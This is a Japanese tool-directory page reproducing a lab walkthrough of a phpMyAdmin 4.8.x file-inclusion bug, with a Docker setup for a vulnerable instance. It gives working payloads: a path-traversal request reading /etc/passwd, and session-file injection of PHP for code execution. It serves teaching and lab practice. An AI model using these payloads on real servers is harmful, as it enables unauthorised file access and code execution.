Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-1263-Demo — CVE-2018-1263(phpMyAdmin RCE/LFI)の教育用エクスプロイトデモ。Dockerによる脆弱な環境のセットアップと、Webアプリケーションエクスプロイト学習のためのステップバイステップの攻撃ウォークスルーを含みます。 | Kitploit
ツール/GitHubGitHub/sakib570/cve-2018-1263-demo
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubsakib570/cve-2018-1263-demo

CVE-2018-1263-Demo

CVE-2018-1263(phpMyAdmin RCE/LFI)の教育用エクスプロイトデモ。Dockerによる脆弱な環境のセットアップと、Webアプリケーションエクスプロイト学習のためのステップバイステップの攻撃ウォークスルーを含みます。

リポジトリを見る
114年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

エクスプロイトデモ

このガイドでは、脆弱性のあるコンポーネントをインストールし、CVE-2018-1263 で言及されている phpMyAdmin のバグに関連する攻撃を実行する方法を説明します。

  • CVE の説明
  • 脆弱性が存在する理由
  • 攻撃の仕組み
  • 脆弱性のあるコンポーネントのインストール方法
  • 攻撃の実行方法

CVE の説明

このエクスプロイトは、phpMyAdmin バージョン 4.8.x(4.8.2 より前)で発見された問題に関連しています。この問題を悪用すると、攻撃者はサーバー上でリモートコード実行とローカルファイルインクルージョンを実行できます。この脆弱性は、phpMyAdmin 内のページをリダイレクトおよびロードする役割を担うコード部分に起因します。このコードにはホワイトリスト登録済みページの検証に欠陥があり、攻撃を可能にしています。攻撃者は認証されている必要があります。ただし、$cfg['AllowArbitraryServer'] = true の場合(攻撃者がすでに制御している任意のホストを指定し、phpMyAdmin 上で任意のコードを実行できる)と、$cfg['ServerDefault'] = 0 の場合(ログイン要件を回避し、認証なしで脆弱なコードを実行する)は例外です。

脆弱性が存在する理由

この脆弱性は、脆弱なパスチェック関数における検証バイパスによって引き起こされます。この脆弱性により、認証されたリモート攻撃者がサーバー上で任意の PHP コードを実行できるようになります。

phpMyAdmin の index.php にはファイルインクルージョンが存在し、URL に target というパラメータを指定することでトリガーできます。target パラメータを検証するコード部分は次のようになります。

root@kitploit:~
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
// ...

このコードでは、if 条件が満たされると include $_REQUEST['target']; が実行されます。したがって、実行したい処理を実行するには、if 条件をバイパスするだけで済みます。

if 条件を見てみましょう。

  1. 最初の 2 つの条件は、target パラメータが空であってはならず、文字列である必要があることを示しています。
  2. 3 番目の条件は、target パラメータが index で始まることを制限します。
  3. 4 番目の条件は、target パラメータが $target_blacklist に含まれていないことを制限します。
    • $target_blacklist は if 条件の直前に定義されており、import.php と export.php が含まれています。つまり、これら 2 つのページ以外はすべて許可されます。
  4. 5 番目で最後の条件は、Core クラスの既存関数 Core::checkPageValidity($_REQUEST['target']) を使用したページ有効性のホワイトリストチェックです。
    • 下のコードスニペットに示されているように、関数 checkPageValidity は $page から ? より後ろのすべてを取り除き、それがホワイトリストに含まれているかどうかをチェックします。? より後ろの文字列は URL パスの一部ではありません。サンプルのホワイトリストもコードスニペットに示されています。
    root@kitploit:~
    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        // ...
        $_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
        // example $whitelist == array('db_sql.php', 'sql.php', ...)
        if (in_array($_page, $whitelist)) {
            return true;
        }
        // ...
        return false;
    } 
    
    • ここで重要な点は、$page は $_REQUEST['target'] から直接取得されるため、攻撃者が $page を完全に制御できることです。

攻撃の仕組み

前述のとおり、攻撃者は URL の $_REQUEST['target'] パラメータを介して checkPageValidity 関数の $page を完全に制御できます。攻撃者が $_REQUEST['target'] パラメータを使用して $page に次のような値を送信したと仮定しましょう。

root@kitploit:~
$page = 'db_sql.php?/../../../../../../../../etc/passwd'

checkPageValidity 関数は次の処理を実行します。

  1. 最初に、文字列を ? で分割し、最初の部分を $page に代入します。したがって、この例の場合、$page = db_sql.php となります。
  2. 次に、$_page、つまり db_sql.php がホワイトリストに含まれているかどうかをチェックします。ホワイトリストに含まれているため、関数は True を返し、index.php に戻ります。

index.php の if 条件が True になったので、上記の index.php のコードスニペットに示されている次の行が実行されます。

root@kitploit:~
include $_REQUEST['target'];

次に起こることは次のとおりです。

  • 上記のステートメントは、分割されていない $_REQUEST['target'] の値をインクルードするため、次のリクエストが実行されます。
    root@kitploit:~
    GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
    
  • PHP は db_sql.php が存在するかどうかをチェックせずにパスを /../../../../../../../../etc/passwd に自動的に変換するため、/../../../../../../../../etc/passwd が実行され、/etc/passwd ファイルの内容が応答として攻撃者に送信されます。

これを使用して、ローカルファイルインクルージョンを実行したり、リモートコード実行を実行してリバースシェルを取得したりできます。phpMyAdmin でクエリを実行するたびに、セッションファイルが作成され、クエリ内容とともに /tmp ディレクトリに保存されます。セッションファイルは sess_< SESSION ID > という名前になります。セッション ID は、ブラウザの検証機能(Inspect)を使用して Cookie 内で簡単に見つけることができます。

phpMyAdmin で次のクエリを実行すると、

root@kitploit:~
SELECT '<?php phpinfo();exit;?>'

そのクエリはセッションファイルに保存されます。phpMyAdmin のセッション ID が e15cffd3ab25a631136611fba9ca2042 であると仮定しましょう。

次に、ブラウザで次のアドレスをトリガーすると、

root@kitploit:~
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042

phpMyAdmin はセッションページをロードしようとし、ページにはクエリを通じて指定された PHP コードが含まれているため、PHP コードが実行され、この例ではブラウザに読み込まれたページに phpinfo が表示されます。この手法を使用すると、リモートサーバー上で任意のコードを実行できます。

脆弱性のあるコンポーネントのインストール方法

エクスプロイト環境には、脆弱性のあるバージョンの phpMyAdmin と mysql が必要です。必要なコンポーネントをインストールするには、docker コンテナを使用します。脆弱性のあるバージョンの phpMyAdmin には、Vulhub の事前構築済み docker 環境を使用し、mysql には dockerhub の最新の公式バージョンを使用します。インストールスクリプトは、リポジトリ内にある docker compose yml スクリプトとして提供されています。

対象マシンに docker と docker-compose がインストールされていることを前提としています。インストールされていない場合は、docker のドキュメントを参照してインストールしてください。docker がインストールされたら、次の手順を実行して脆弱性のあるコンポーネントをセットアップします。

まず、対象マシンでリポジトリをクローンし、クローンしたディレクトリに移動します。

root@kitploit:~
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo

次に、次のコマンドで docker compose スクリプトを実行します。

root@kitploit:~
sudo docker-compose up -d

インストールプロセスが完了すると、docker はマシンのポート 8080 で phpMyAdmin ページを公開します。次のアドレス形式でブラウザにページを開いて確認できます。

root@kitploit:~
http://your-machine-ip:8080

インストールプロセスが成功すると、次のようなページが表示されます。

phpMyAdmin_homepage

攻撃の実行方法

次のビデオは、攻撃の実行方法に関するチュートリアルです。

ビデオリンク: https://drive.google.com/file/d/1UbLGEwMYswdrRAOMJLd0mFHbsNl1aPvt/preview

参考文献

[1] https://www.exploit-db.com/exploits/44928

[2] https://github.com/vulhub/vulhub

[3] https://docs.docker.com/get-docker/

ツールをダウンロード